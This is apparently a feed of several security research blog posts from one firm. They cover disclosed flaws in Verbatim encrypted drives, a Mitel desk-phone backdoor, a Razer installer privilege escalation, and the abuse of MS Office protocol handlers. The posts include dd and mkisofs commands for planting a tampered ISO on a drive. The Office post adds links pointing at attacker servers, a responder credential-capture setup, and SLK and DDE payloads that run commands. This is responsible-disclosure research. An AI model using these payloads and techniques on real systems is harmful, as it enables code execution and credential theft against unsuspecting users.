In order to simplify the password retrieval process, a software tool named Verbatim Fingerprint Secure Password Retriever was developed that can extract the currently set password of a Verbatim Executive Fingerprint Secure SSD. The following Figure exemplarily shows the successful retrieval of the password S3cretP4ssw0rd that was previously set on this test device.
Successful attacking using the developed Verbatim Fingerprint Secure Password Retriever
This found security vulnerability was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-009 with the assigned CVE ID CVE-2022-28387.
As described previously, the client software for administrative purposes is provided on an emulated CD-ROM drive. As my analysis showed, the content of this emulated CD-ROM drive is stored as an ISO-9660 image in the hidden sectors of the USB drive, that can only be accessed using special IOCTL commands, or when installing the drive in an external enclosure.
The following fdisk output shows disk information using the Verbatim enclosure with a total of 1000179711 sectors.
1
2
3
4
5
6
7
8
9
10
11
# fdisk -l /dev/sda
Disk /dev/sda: 476.92 GiB, 512092012032 bytes, 1000179711 sectors
Disk model: Portable Drive
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xbfc4b04e
Device Boot Start End Sectors Size Id Type
/dev/sda1 2048 1000171517 1000169470 476.9G c W95 FAT32 (LBA)
The next fdisk output shows the information for the same disk when using an external enclosure where a total of 1000215216 sectors is available.
And in those 35505 hidden sectors concerning the tested 512 GB version of the Verbatim Executive Fingerprint Secure SSD, the ISO-9660 image with the content of the emulated CD-ROM drive is stored, as the following output illustrates.
1
2
3
4
5
6
7
# dd if=/dev/sda bs=512 skip=1000179711 of=cdrom.iso
35505+0 records in
35505+0 records out
18178560 bytes (18 MB, 17 MiB) copied, 0.269529 s, 67.4 MB/s
# file cdrom.iso
cdrom.iso: ISO 9660 CD-ROM filesystem data 'VERBATIMSECURE'
By manipulating this ISO-9660 image or replacing it with another one, an attacker is able to store malicious software on the emulated CD-ROM drive. This malicious software may get executed by an unsuspecting victim when using the device at a later point in time.
The following Figure exemplarily shows what an emulated CD-ROM drive manipulated by an attacker containing malware my look like.
Emulated CD-ROM drive with attacker-controlled content
The following output exemplarily shows how a hacked ISO-9660 was generated for testing this attack vector.
1
2
3
4
5
6
# mkisofs -o hacked.iso -J -R -V "VerbatimSecure" ./content
# dd if=hacked.iso of=/dev/sda bs=512 seek=1000179711
25980+0 records in
25980+0 records out
13301760 bytes (13 MB, 13 MiB) copied, 1.3561 s, 9.8 MB/s
As a thought experiment, this security issue concerning the data authenticity of the ISO-9660 image for the emulated CD-ROM partition could be exploited in an attack scenario one could call The Poor Hacker’s Not Targeted Supply Chain Attack which consists of the following steps:
Buy vulnerable devices in online shops
Modify bought devices by adding malware
Return modified devices to vendors
Hope that returned devices are resold and not destroyed
Wait for potential victims to buy and use the modified devices
Profit?!
This found security issue was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-013 with the assigned CVE ID CVE-2022-28385.
Summary
In this article, the research results leading to four different security vulnerabilities concerning the Verbatim Executive Fingerprint Secure SSD listed in the following Table were presented.
Again, these results show, that new portable storage devices with old security issues are still produced and sold today.
Rooting Mitel Desk Phones Through the Backdoor (CVE-2022-29854, CVE-2022-29855)2022-06-10T11:00:00+02:002022-06-10T11:53:27+02:00https://blog.syss.com/posts/rooting-mitel-desk-phones-through-the-backdoor/Moritz Abrell
Abstract
During a security analysis of an enterprise communication infrastructure, IT security expert Moritz Abrell identified an “undocumented functionality” (backdoor) in the firmware of Mitel 6800/6900 desk phones, which allows a physical attacker gaining root privileges on the phone.
Abstract
During a security analysis of an enterprise communication infrastructure, IT security expert Moritz Abrell identified an “undocumented functionality” (backdoor) in the firmware of Mitel 6800/6900 desk phones, which allows a physical attacker gaining root privileges on the phone.
The vulnerability was reported to the manufacturer Mitel Networks Corporation as part of our responsible disclosure process.
Appropriate patches to fix this issue were provided by Mitel.
Inside the mounted Linux file system, a file named ota_BCM911109_PRAXIS_3_voice_v6_5_jffs2.bin located in the etc folder, contains another JFFS2 file system:
1
2
3
4
5
6
7
#> binwalk ota_BCM911109_PRAXIS_3_voice_v6_5_jffs2.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
160 0xA0 Linux kernel ARM boot executable zImage (little-endian)
17951 0x461F gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
2006456 0x1E9DB8 JFFS2 filesystem, little endian
After extracting and mounting this JFFS2 file system too, a script named check_mft.sh located in the etc folder can be accessed, which contains the backdoor logic. This script is executed at system boot by the rcS script of init daemon.
The check_mft.sh checks if the * and the # keys are pressed and hold simultaneously at system startup:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#press and hold * # two keys at the same time "6873i" | "6940")echo"HOSTNAME = $HOSTNAME"GPIODetect=`gpio get 24`GPIO28=`gpio get 28`if[$GPIO28-eq"1"];then
GPIODetect="0"isCCATest="TRUE"fi
keyBoardScanMatch="TRUE"KeyCombMatch1=`dbg rw 0x8000d000 8| grep"0x8000d000: 01ff 01ff 01d7 01ff 01ff 01ff 01ff 01ff"`KeyCombMatch2=`dbg rw 0x8000d000 8| grep"0x8000d000: 00ff 00ff 00d7 00ff 01ff 00ff 01ff 00ff"`;;
After that, the static IP address 10.30.102.102 and a static root password is set and a telnet service is started:
1
2
3
4
5
6
7
8
9
ifconfig eth0 10.30.102.102 netmask 255.255.255.0 up
...
if[-f /usr/sbin/telnetd ];then# make sure the default password is set for root.(echo*redacted*;sleep 1;echo*redacted*) | passwd -a A
telnetd &
fi
The actual password has been removed due to security reasons.
Hacking Some More Secure USB Flash Drives (Part I)2022-06-08T12:00:00+02:002022-06-21T16:35:14+02:00https://blog.syss.com/posts/hacking-usb-flash-drives-part-1/Matthias Deeg
During a research project in the beginning of 2022, SySS IT security expert Matthias Deeg found several security vulnerabilities in different tested USB flash drives with AES hardware encryption.
During a research project in the beginning of 2022, SySS IT security expert Matthias Deeg found several security vulnerabilities in different tested USB flash drives with AES hardware encryption.
Introduction
Encrypting sensitive data at rest has always been a good idea, especially when storing it on small, portable devices like external hard drives or USB flash drives. Because in case of loss or theft of such a storage device, you want to be quite sure that unauthorized access to your confidential data is not possible. Unfortunately, even in 2022, “secure” portable storage devices with 256-bit AES hardware encryption and sometimes also biometric technology are sold that are actually not secure when taking a closer look.
In a series of blog articles (this one being the first one), I want to illustrate how a customer request led to further research resulting in several cryptographically broken “secure” portable storage devices. This research continues the long story of insecure portable storage devices with hardware AES encryption that goes back many years.
This first part is about my research results concerning the secure USB flash drive Verbatim Keypad Secure shown in the following Figure.
Front view of the secure USB flash drive Verbatim Keypad Secure
The Verbatim Keypad Secure is a USB drive with AES 256-bit hardware encryption and a built-in keypad for passcode entry.
The manufacturer describes the product as follows:
The AES 256-bit Hardware Encryption seamlessly encrypts all data on the
drive in real-time with a built-in keypad for passcode input. The USB
Drive does not store passwords in the computer or system’s volatile
memory making it far more secure than software encryption. Also, if it
falls into the wrong hands, the device will lock and require
re-formatting after 20 failed passcode attempts.” [1]
Test Methodology
For this research project concerning different secure USB flash drives, the following proven test methodology for IT products was used:
Hardware analysis: Open hardware, identify chips, read manuals, find test points, use logic analyzers and/or JTAG debuggers
Firmware analysis: Try to get access to device firmware (memory dump, download, etc.), analyze firmware for security issues
Software analysis: Static code analysis and runtime analysis of device client software
Depending on the actual product, not all kinds of analysis can be applied. For instance, if there is no software component, it cannot be analyzed, which is the case for the Verbatim Keypad Secure.
Attack Surface and Attack Scenarios
Attacks against the tested secure portable USB storage devices during this research project require physical access to the hardware. In general, attacks are possible at different points in time concerning the storage device life-cycle:
Before the legitimate user has used the device (supply chain attack)
After the legitimate user has used the device
Lost device or stolen device
Temporary physical access to the device without the legitimate user knowing
Desired Security Properties of Secure USB Flash Drives
When performing security tests, one should have a specification or at least some expectations to test against, in order distinguish whether achieved test results may pose an actual security risk or not.
Regarding the product type of secure USB flash drives, the following list describes desired security properties I would expect:
All user data is securely encrypted (impossible to infer information about the plaintext by looking at the ciphertext)
Only authorized users have access to the stored data
The user authentication process cannot be bypassed
User authentication attempts are limited (online brute-force attacks)
Reset device after X failed consecutive authentication attempts
Device integrity is protected by secure cryptographic means
Exhaustive offline brute-force attacks are too expensive™
Very large search space (e.g. 2256 possible cryptographic keys)
Required data not easily accessible to the attacker (cannot be extracted without some fancy, expensive equipment and corresponding know-how)
Hardware Analysis
When analyzing a hardware device like a secure USB flash drive, the first thing to do is taking a closer look at the hardware design. By opening the case of the Verbatim Keypad Secure, access to its printed circuit board (PCB) is given as shown in the following Figure.
PCB front side of Verbatim Keypad Secure
Here, we can already see the first three main components of this device:
NAND flash memory chips (TS1256G181)
a memory controller (MARVELL-88NV1120)
a USB-to-SATA bridge controller (INIC-3637EN)
When we remove the main PCB from the case and have a look at its back side, we can find two more main components:
a SPI flash memory chip (XT25F01D)
a keypad controller (unknown chip, marked SW611 2121)
And of course, we have several push buttons making up our keypad.
PCB back side of Verbatim Keypad Secure
The Marvell memory controller and the NAND flash memory chips are part of an SSD in M.2 form factor shown in the following Figure.
SSD with M.2 form factor (front and back side)
This SSD can be read and written using another SSD enclosure supporting this form factor which was very useful for different security tests described in later sections.
Device Lock & Reset
Before having a closer look at the different identified main components of this secure USB flash drive, some simple tests concerning advertised security features were performed, for instance regarding the device lock and reset feature described in the user manual shown in the following Figure.
Warning from Verbatim Keypad Secure User Manual concerning device lock
The idea behind this security feature is to limit the amount of passcode guesses to a maximum of 20 when performing a brute-force attack. If this threshold is reached after 20 failed unlock attempts, the USB drive should be newly initialized and all previously stored data should not be accessible anymore. However, when performing manual passcode brute-force attacks during the research project, it was not possible to lock the available test devices after 20 consecutively failed unlock attempts. Thus, the security feature for locking and requiring to reformat the USB drive simply does not work as specified. Therefore, an attacker with physical access to such a Verbatim Keypad Secure USB flash drive can try more passcodes in order to unlock the device as proclaimed by Verbatim. During the performed manual brute-force attacks, locking the device so that reformatting is required was not possible at all.
This found security issue was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-004 and was assigned the CVE ID CVE-2022-28386.
Encryption
As the Verbatim Keypad Secure contains a SATA SSD with an M.2 form factor which can be used in another compatible SSD enclosure, analyzing the actually stored data of this secure USB flash drive was rather easy.
And by having a closer look at the encrypted data, obvious patters could be seen, as the following hexdump illustrates:
The * in this hexdump output means that the previous line (here 16 bytes of data) is repeated one or more times. The first column showing the address indicates how many consecutive lines are the same. For example, the first 16 bytes c4 1d 46 58 05 68 1d 9a 32 2d 29 04 f4 20 e8 4d are repeated 432 (0x1b0) times starting at the address 0x00000000, and the same pattern of 16 bytes is repeated 32 times starting at the address 0x000001d0.
Seeing such repeating byte sequences in encrypted data is not a good sign.
By writing known byte patterns to an unlocked device, it could be confirmed that the same 16 bytes of plaintext always result in the same 16 bytes of ciphertext. This looks like a block cipher encryption with 16 byte long blocks using Electronic Codebook (ECB) mode was used, for example AES-256-ECB.
For same data, the lack of the cryptographic property called diffusion, which this operation mode has, can leak sensitive information even in encrypted data. A famous example for illustrating this issue is a bitmap image of Tux, the Linux penguin, and its ECB encrypted data shown in the following Figure.
This found security issue was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-002 and was assigned the CVE ID CVE-2022-28382.
Firmware Analysis
The next step after analyzing the hardware and performing some simple tests concerning the passcode-based authentication was analyzing the device firmware.
Fortunately, the chosen hardware design with an Initio INIC-3637EN USB-to-SATA bridge controller and a separate SPI flash memory chip (XT25F01D) containing this controller’s firmware made the acquisition of the used firmware quite easy, as the content of the SPI flash memory chip could simply be dumped using a universal programmer like an XGecu T56.
Unfortunately, for the used INIC-3637EN there was no datasheet publicly available. But there are research publications with useful information about other, similar Chips by Initio like the INIC-3607. Especially the publication Lost your “secure” HDD PIN? We can Help! by Julien Lenoir and Raphaël Rigo was of great help. And as the INIC-3637EN uses the ARCompact instruction set, also the publication Analyzing ARCompact Firmware with Ghidra by Nicolas Iooss and his implemented Ghidra support were of great use for analyzing the firmware of the Verbatim Keypad Secure.
The following Figure exemplarily illustrates a disassembled and decompiled function of the dumped Verbatim Keypad Secure firmware within Ghidra.
Example of analyzing the Verbatim Keypad Secure firmware with Ghidra
When analyzing the firmware, it could be found out that the firmware validation only consists of a simple CRC-16 check using XMODEM CRC-16. Thus, an attacker is able to store malicious firmware code for the INIC-3637EN with a correct checksum on the used SPI flash memory chip. The following Figure shows the CRC-16 at the end of the firmware dump.
Content of the SPI flash memory chip with a CRC-16 at the end shown in 010 Editor
For updating modified firmware images, a simple Python tool was developed that fixes the required CRC-16, as the following output exemplarily shows.
Being able to modify the device firmware was very useful for further analyses of the INIC-3637EN, and the configuration and operation mode of its hardware AES engine. By writing some ARCompact assembler code and using the firmware’s SPI functionality, interesting data memory of the INIC-3637EN could be read or modified during the runtime of the Verbatim Keypad Secure.
This found security issue concerning the insufficient firmware validation, which allows an attacker to store malicious firmware code for the USB-to-SATA bridge controller on the USB drive, was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-003 and was assigned the CVE ID CVE-2022-28383.
The following ARCompact assembler code demonstrates how the content of identified AES key buffers (for instance at the memory address 0x40046904) could be extracted via SPI communication.
How bytes can be sent via the SPI functionality of the INIC-3637EN was simply copied from another part of the analyzed firmware and reused in a slightly modified form.
Developed ARCompact assembly code for debugging purposes could be assembled using a corresponding GCC toolchain. The generated machine code could then be copied and pasted from the resulting ELF executable to a suitable location within the firmware image.
The following output shows an example `Makefile used during this research project.
During the firmware analysis, it was also possible to find interesting artifacts contained within the firmware code that are also part of other device firmware, for example
Pi byte sequence (weird AES keys for other similar storage devices, e.g. ZALMAN ZM-VE500 as described in the publication Lost your “secure” HDD PIN? We can Help!)
Magic signature ” INI” (0x494e4920)
The presence of different instances of the Pi byte sequence within the analyzed firmware is shown in the following Figure. Concerning other devices, this byte sequences were used to initialize AES key buffers. However, in case of the Verbatim Keypad Secure they were not used.
Pi byte sequence used as AES keys in other device firmware
The following Figure shows a decompiled version of the identified unlock function with references to the magic signature ” INI” (0x494e4920).
Magic signature 0x494e4920 within the unlock function
As a firmware analysis solely based on reverse code engineering can be quite time quite consuming for understanding the inner workings of a device, it is oftentimes a good idea to combine such a dead approach with some kind of live approach for analysis purposes. During this research project, fortunately the ability to analyze the device firmware could be combined with a protocol analysis described in the next section.
Protocol Analysis
The hardware design of the Verbatim Keypad Secure allowed for sniffing the SPI communication between the keypad controller and the USB-to-SATA bridge controller (INIC-3637EN). Here, further interesting patterns could be seen, as the following Figure showing sniffed SPI communication of an unlock command illustrates.
Sniffed SPI communication for unlock PIN pattern shown in logic analyzer
By analyzing the SPI communication and the device firmware, it was possible to find out that the used proprietary SPI communication protocol supports the following six different commands:
0xE1: Initialize device
0xE2: Unlock device
0xE3: Lock device
0xE4: Unknown
0xE5: Change passcode
0xE6: Unknown
The identified message format for those commands is as follows:
Analyzed SPI message format
The used checksum of the SPI messages is a CRC-16 with XMODEM configuration. When a passcode is used within a command, for instance in case of the unlock command, all entered passcodes always result in a 32 byte long payload, no matter how long the actual passcode was. Furthermore, the last 16 bytes of such a payload always only consists of 0xFF bytes, and within the first 16 bytes obvious patterns can be recognized.
For example, when a passcode consisting of twelve ones (i.e. 111111111111) was used, the payload shown in the following Figure was sent.
Obvious SPI payload patterns
The sequence of numbers 1111 always resulted in the byte sequence 0A C9 1F 2F, and by testing other sequences of numbers other resulting byte sequences could be observed. Thus, some kind of hashing or mapping is used for the user input in form of a numerical passcode. Unfortunately, the keypad controller chip with this algorithm was a black box during this research project.
So there were the following two ideas for a black box analysis:
Find out the used hashing algorithm by collecting more hash samples for 4-digit inputs and analyzing them
Hardware brute-force attack for generating all possible hashes for 4-digit inputs in order to create a lookup table
The following Table shows some examples of 4-digit inputs and the resulting 32-bit hashes.
4-digit input
32-bit hash
0000
4636B9C9
1111
0AC91F2F
2222
5EC8BD1E
3333
624E6000
4444
B991063F
5555
0A05D514
6666
7E657A68
7777
B1C9C3BA
8888
7323CC76
9999
523DA5F5
1234
E097BCF8
5678
F540AEF4
no input
956669AD
The first approach, manually collecting more hash samples and trying out different hash algorithms, was not successful after investing some time. Thus, the second approach using a hardware brute-force attack for collecting all possible hashes was followed. However, there were other some problems. Those problems concern how the keypad works and that it was not that simple to automatically generate key presses as initially assumed.
The following Figure shows the observed encoding of all possible keys of the keypad in a logic analyzer.
Encoding of all possible keys of the keypad
The corresponding pinout of the keypad controller according to my analysis is shown in the following Figure.
Keypad controller pinout according to our analysis
For automatically collecting all possible hashes of 4-digit inputs, the keyboard controller was desoldered from the PCB and put on a breakout board. This breakout board was then put on a breadboard together with a Teensy USB Development Board. Then, a keypad brute-forcer for the Teensy was developed for simulating keypresses. This worked for all keys but the unlock key. Thus, the desired SPI communication between the keypad controller and the USB-to-SATA bridge controller could not be triggered via a simulated unlock keypress.
Pin 7 of the keyboard controller also seems to get triggered when the unlock key is pressed, and the USB-to-SATA bridge controller initiates SPI communication with the keypad controller shortly afterwards. After some failed attempts to replicate this behavior I switched again to the first approach for the black box analysis in an act of frustration.
Hash Function Analysis
Thus, I again tried to find some more information in the World Wide Web about this unknown hash or mapping algorithm. And luckily, this time I actually found something using the hash 4636B9C9 for the 4-digit input of 0000, as the following Figure shows.
Search results for the search term 4636B9C9 in DuckDuckGo
And this Reddit post in dailyprogrammer_ideas titled [Intermediate/Hard] Integer hash function interpreter had the solution I was looking for, as shown in the following Figure.
The unknown hash algorithm is an integer hash function called hash32shift2002 in this article, and this integer hash function was obviously created by Thomas Wang and a C implementation looks as follows:
Now, the last missing puzzle piece was how and where user authentication data was stored and used.
User Authentication
The Verbatim Keypad Secure USB flash drive uses a passcode-based user authentication for unlocking the storage device containing the user data. So open questions were how this passcode comparison is actually done, and whether it was vulnerable to some kind of attack.
Due to previous research of similar devices, an educated guess was that information used for the authentication process is stored on the SSD. This could be verified by setting different passcodes and analyzing changes concerning the SSD content, where it could be found out that a special block (number 125042696 of the used 64 GB test devices) was used for storing authentication information whose content consistently changed with the set passcode. Furthermore, the firmware analysis showed that the first 112 bytes (0x70) of this special block are used when unlocking the device. And when the AES engine of the USB-to-SATA bridge controller INIC-3637EN is configured correctly concerning the operation mode and the cryptographic key, the first four bytes of the decrypted special block have to match the magic signature ” INI” (0x494e4920) mentioned in previous sections.
The following output exemplarily shows the encrypted content of this special block of the SSD.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# dd if=/dev/sda bs=512 skip=125042696 count=1 of=ciphertext_block.bin
1+0 records in
1+0 records out
512 bytes copied, 0.408977 s, 1.3 kB/s
# hexdump -C ciphertext_block.bin
00000000 c3 f7 d5 4d df 70 28 c1 e3 7e 92 08 a8 57 3e d8 |...M.p(..~...W>.|
00000010 f1 5c 3d 3c 71 22 44 c3 97 19 14 fd e6 3d 76 0b |.\=<q"D......=v.|
00000020 63 f6 2a e3 72 8c dd 30 ae 67 fd cf 32 0b bf 3f |c.*.r..0.g..2..?|
00000030 da 95 bc bb cc 9f f9 49 5e f7 4c 77 df 21 5c f4 |.......I^.Lw.!\.|
00000040 c3 35 ee c0 ed 9e bc 88 56 bd a5 53 4c 34 6e 2e |.5......V..SL4n.|
00000050 61 06 49 08 9a 16 20 b7 cb c6 f8 f5 dd 6d 97 e6 |a.I... ......m..|
00000060 3c e7 1d 8e f8 e9 c6 07 5d fa 1a 8e 67 59 61 d1 |<.......]...gYa.|
00000070 6b a1 05 23 d3 0e 7b 61 d4 90 aa 33 26 6a 6c f9 |k..#..{a...3&jl.|
*
00000100 fe 82 1c 5e 9a 4b 16 81 f7 86 48 be d9 a5 a1 7b |...^.K....H....{|
*
00000200
By further debugging the device firmware, it could be determined that the AES key for decrypting this special block is the 32 byte payload sent from the keyboard controller to the USB-to-SATA bridge controller INIC-3637EN described in the protocol analysis. However, the AES engine of the INIC-3637EN uses the AES key in a special byte order where the first 16 bytes and the last 16 bytes are reversed.
The following Python code illustrates how the actual AES key is generated from the 32 byte payload of the SPI command sent by the keyboard controller to the INIC-3637EN:
AS the information for the user authentication is stored in a special block on the SSD, and the AES key derivation from the user input (passcode) using the integer hash function hash32shift2002 is known, it is possible to perform an offline brute-force attack against the passcode-based user authentication of the Verbatim Keypad Secure. And because only 5 to 12 digit long passcodes are supported, the possible search space of valid passcodes is relatively small.
Therefore, the software tool Verbatim Keypad Secure Cracker was developed, which can find the correct passcode in order to gain unauthorized access to the encrypted user data of a Verbatim Keypad Secure USB flash drive.
The following output exemplarily illustrates a successful brute-force attack.
This found security vulnerability was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-001 with the assigned CVE ID CVE-2022-28384.
In this article, the research results leading to four different security vulnerabilities concerning the Verbatim Keypad Secure USB flash drive listed in the following Table were presented.
Those results show, that new portable storage devices with old security issues are still produced and sold.
In the next part of this blog series, research results concerning another secure USB flash drive are covered.
Yet Another Local Privilege Escalation Attack via Razer Synapse Installer (CVE-2021-44226)2022-03-23T10:00:00+01:002022-03-24T09:08:10+01:00https://blog.syss.com/posts/razer-lpe-attack/Matthias Deeg
During a research project in fall 2021, SySS IT security expert Dr. Oliver Schwarz found a security vulnerability in the Razer Synapse installer for Windows which can be exploited in a local privilege escalation attack.
During a research project in fall 2021, SySS IT security expert Dr. Oliver Schwarz found a security vulnerability in the Razer Synapse installer for Windows which can be exploited in a local privilege escalation attack.
Due to the use of an insecure installation path and improper privilege management, the installation of the associated Razer system service is vulnerable to a so-called DLL hijacking attack.
In this specific attack scenario, an attacker is able to replace or add a program library, i.e. a dynamic link library (DLL) file, with one that contains malicious code. Because of the high-privileged context in which the attacker-controlled code is executed, a local Windows user can exploit this security issue to obtain local administrative privileges as the Windows user account SYSTEM.
This security vulnerability can be exploited by a local Windows user who can attach a real or fake Razer USB device, for instance a gaming mouse, to the target system that is supported by Razer Synapse.
You can find more detailed information about this security issue in our SySS security advisory SYSS-2021-058 (CVE-2021-44226).
This reported security vulnerability has already been fixed by Razer, so that the demonstrated privilege escalation attack is not successful anymore on current Windows systems with newer Razer Synapse software versions.
The assigned CVE ID concerning the demonstrated security issue is CVE-2021-44226.
As a general security measure, we recommend disabling Windows co-driver auto-installations via the corresponding configured Windows registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Installer\DisableCoInstallers set to 1.
Abusing the MS Office protocol scheme2022-01-31T11:00:00+01:002022-01-31T16:29:34+01:00https://blog.syss.com/posts/abusing-ms-office-protos/Matthias Zoellner
During a research project, SySS IT security consultant Matthias Zöllner found out that in a standard installation of Windows Office files can be opened directly via certain URLs. This article shows how this works.
During a research project, SySS IT security consultant Matthias Zöllner found out that in a standard installation of Windows Office files can be opened directly via certain URLs. This article shows how this works.
MS Office Protocol
Intro
When installing Microsoft Office under a recent Windows system, some default handlers for protocols are added.
This opens some possibilities an attacker can try to abuse. The following blog post should bring some awareness about the possible attacks.
Test environment
The following tests have been conducted with the specified environment. However, other Windows and Office versions behave different, e.g. with an additional warning or even with less warnings. There are a lot of possible configurations, therefore the setup was like the following.
Microsoft Office Professional Plus 2016 (Version 2109 Build 16.0.14430.20154) 32 bit
Everything was in the default settings as installated.
Details
Those handlers can be found via Settings -> Default Apps -> Choose default applications by protocol.
Registered MS-Office protocol handler
As can be seen in the following figure, the MS-EXCEL protocol is registered with Excel.
This behaviour is not exclusive for Excel. It also applies to Word, PowerPoint, etc.
The following handlers are getting registered:
ms-word://
ms-powerpoint://
ms-excel://
ms-visio://
ms-access://
ms-project://
ms-publisher://
ms-spd://
ms-infopath://
Registered default handlers for protocls can be also found in the registry under:
1
Registry::HKEY_CLASSES_ROOT\
By querying the registry, e.g. for MS protocols, we can see a lot registered.
NOTE: The following output is compressed.
A detailed description by Microsoft about the Office protocols can be found here.
A complete Office URL looks like the following:
1
ms-excel:ofv|u|https://192.168.1.10/poc.xls
If this URL is sent via e-mail or pasted in the Explorer, Excel is trying to open the specified file.
Here is a proof of concept (PoC) if the URL is sent via e-mail and clicked by the user. Demo of opening a link to a xlsm file containing a reverse shell macro
It was possible to abuse this behaviour at some penetration tests, resulting in a 1-click Remote Code Execution (RCE) if the protection is based on the e-mail appliance and the Office security settings for macros are not configured.
NOTE: In the default settings, a warning is shown when opening the file via a browser, but not when opening it from Outlook.
There might be an inconsistency through the programms, allowing access to those protocoll handlers.
Bypass e-mail security appliance
As only a link is sent via e-mail, there is no file to inspect for an e-mail security appliance.
For link inspection it is quite easy to deliver different content for the scanner, as the user agent sent contains the wording “Microsoft Office” and the scanner in most cases does not. Therefore, harmless content can be delivered to the scanner, bypassing the link inspection.
Showing the headers of an HTTP request from Excel
Integrated authentication dialog
If the server hosting the file asks for some authentication, an Excel-internal dialog is shown. As this dialog is integrated in Excel, this might create some additional trust for the user to enter credentials.
Server-side preparation
On the server side, for simplicity reasons we run the great tool responder with the following command:
If we generate a link, pointing to one of those services, we get the authentication pop-up in Excel.
1
ms-excel:ofv|u|https://192.168.178.115/poc.xls
Showing the Excel authentication pop-up
Entering some credentials
If a user enters credentials here, they are transfered as NetNTLMv2 credentials and can be cracked by the attacker. This of course implies that the password is weak enough to get cracked.
Showing the captured NetNTLMv2 hash
To verify if this is crackable, we can check the password with john.
1
2
3
4
5
6
7
8
spaami@spaami ~ [1]> echo"Passw0rd!" | sudo john /usr/share/responder/logs/HTTP-NTLMv2-192.168.178.249.txt --pipe
Using default input encoding: UTF-8
Loaded 8 password hashes with 8 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Warning: Only 1 candidate left, minimum 2 needed for performance.
Passw0rd! (IEUser)
7g 0:00:00:00 700.0g/s 100.0p/s 800.0c/s 800.0C/s Passw0rd!
If the URL is pointing to a server, which can be resolved via the shortname (in this case “spaami”), there is no Windows Security dialog and an authentication with the hashed users (domain) credentials is performed immediately.
This situation emerges mostly when the attacker machine is in the same local network, but also attacks over the internet might be possible, if the attacker is able to gain access to a configured trusted domain.
Attacker system is in the same trusted network segmentShowing the captured NetNTLMv2 hash
This is not a new behaviour and some details about this “forced authentication” can be found here.
Basic Auth
If we change our responder command to send a BasicAuth instead of the NTLM challenge, we can even receive credentials in cleartext.
spaami@spaami ~> sudo responder -I eth0 -v--lm-A-b
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ ||-__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [ON]
Force WPAD auth [OFF]
Force Basic Auth [ON]
Force LM downgrade [ON]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.178.115]
Challenge set[random]
Don't Respond To Names ['ISATAP']
[...]
[+] Listening for events...
The URL for the attack is as follows:
1
ms-excel:ofv|u|https://192.168.178.115/poc.xls
After opening the link again, a Windows Security dialog is shown.
Showing the Excel authentication pop-up
If a user enters credentials however, we receive them base64 encoded, and the responder automatically decodes them.
Showing the captured credentials
Ports and protocols
There is no limit on ports and protocols. So, for example, it is possible to use non default ports like 8843.
1
ms-excel:ofv|u|https://213.178.22.33:8843/poc.csv
To easily capture the requests on the server, it is possible to forward them to the listening responder ports. This can be done via iptables or a quite simple socat command.
Additional other protocols are possible, and they also might trigger different behaviour.
By using FTP for example, a different dialog is shown.
1
ms-excel:ofv|u|ftp://192.168.178.115/poc.xls
Showing the Excel FTP authentication pop-up
As FTP is an unencrypted protocol, this also allows an attacker to gather cleartext credentials.
Showing cleartext credentials via FTP
To discover additional supported protocols, a simple approach was used.
By taking the list of typical protocols from Wikipedia and the following script and wireshark running on the server side it was verified if any requests are sent.
Another risk comes from the fact, that the often suggested mitigation for exploits and accidentally triggered actions is to change the default application. This protection can be bypassed by calling MS Office URLs which then forces Office to open the specified file despite the default application.
The following file types have been found to be opened by MS Excel:
.ASP
.CSV
.DQY
.HTM
.HTML
.IQY
.JS
.MHTML
.ODC
.ODS
.SLK
.TXT
.XLA
.XLAM
.XLL
.XLM
.XLS
.XLSB
.XLSM
.XLSX
.XLT
.XLTM
.XLTX
.XLW
.ZIP
And this is only Excel. There is a similiar amount of file types for each Office programm, like Word, Powerpoint, Access and OneNote.
This brings back some old attack paths.
A SLK file is quite an old relict and allows code execution in only a few characters. A minimal PoC looks like this:
1
2
3
4
5
6
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("calc.exe")
C;X1;Y102;K0;EHALT()
E
It is using the XLM 4.0 macros from Office, which might get removed in the future by Microsoft.
Demo showing the attack vector of a SLK file
CSV files
1
ms-excel:ofv|u|https://213.178.22.33:8843/poc.csv
The same behaviour is working for CSV files with the DDE for code execution.
Showing the warning if the DDE is disabledSetting for DDE protection
Demo showing the attack vector of a CSV file
TXT files
Even completely different file endings are possible. Office will happily try to open them und trigger on the content.
1
ms-excel:ofv|u|http://192.168.178.115/rce.txt
For *.txt files, two seperate attacks are possible. Variant a) is to insert CSV content.
1
2
$>cat rce.txt
=cmd|' /C calc'!notthissheet
Variant b) is just to rename a *.doc file to *.txt and here also Office will try to load the containing macros.
1
2
3
4
5
6
7
8
